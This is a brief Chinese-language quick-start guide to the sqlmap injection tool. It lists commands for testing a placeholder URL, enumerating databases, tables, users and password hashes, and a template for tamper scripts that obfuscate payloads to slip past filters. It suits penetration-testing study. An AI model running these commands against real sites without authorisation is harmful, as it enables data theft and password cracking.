sqlmap 快速開始
阿新 • • 發佈:2020-12-22
sqlmap 快速開始
目標
sqlmap 使用時必須指定一個目標。
判斷 "http://www.target.com/vuln.php?id=1"
是否存在注入
python sqlmap.py -u "http://www.target.com/vuln.php?id=1"
從檔案中讀取目標
python sqlmap.py -r 1.txt
1.txt 檔案格式(HTTP 請求報文):
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
【注意】如果請求使用的是 HTTPS 協議時,可以配合 --force-ssl
Host
變數後新增 :443
利用
確認存在 sql 注入之後,進行資料查詢,或其他操作。
--dbs
當前使用者下的所有資料庫
sqlmap.py -u "target.com?id=1" --dbs
--tables
資料庫中所有表名
sqlmap.py -u "target.com?id=1" -D infomation_schema --tables
--columns
所有欄位名
sqlmap.py -u "target.com?id=1" -D infomation_schema -T tables --columns
--users
資料庫所有使用者
sqlmap.py -u "target.com?id=1" --users
--passwords
資料庫使用者密碼,SQLMap 會先列舉使用者,然後列出 Hash,並嘗試破解。
sqlmap.py -u "target.com?id=1" --passwords
--current-db
當前網站資料庫名
sqlmap.py -u "target.com?id=1" --current-db
--current-user
當前網站使用的資料庫使用者
sqlmap.py -u "target.com?id=1" --current-user
繞過
混淆注入資料
選項:--tamper="between,my.py"
python 檔案格式:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
其他
輸出詳情
選項:-v
python sqlmap.py -v 1
此選項共有 7 種引數,下為常用引數:
- 0 :僅顯示錯誤和危險資訊,與 python 直譯器資訊。
- 1 :顯示 information 和警告資訊。(預設值)
- 3 :顯示 payload。
參考
-
sqlmap - why (not how) it works? (slides) presented by Miroslav at Navaja Negra & ConectaCon in Albacete (Spain) on October 14th, 2015.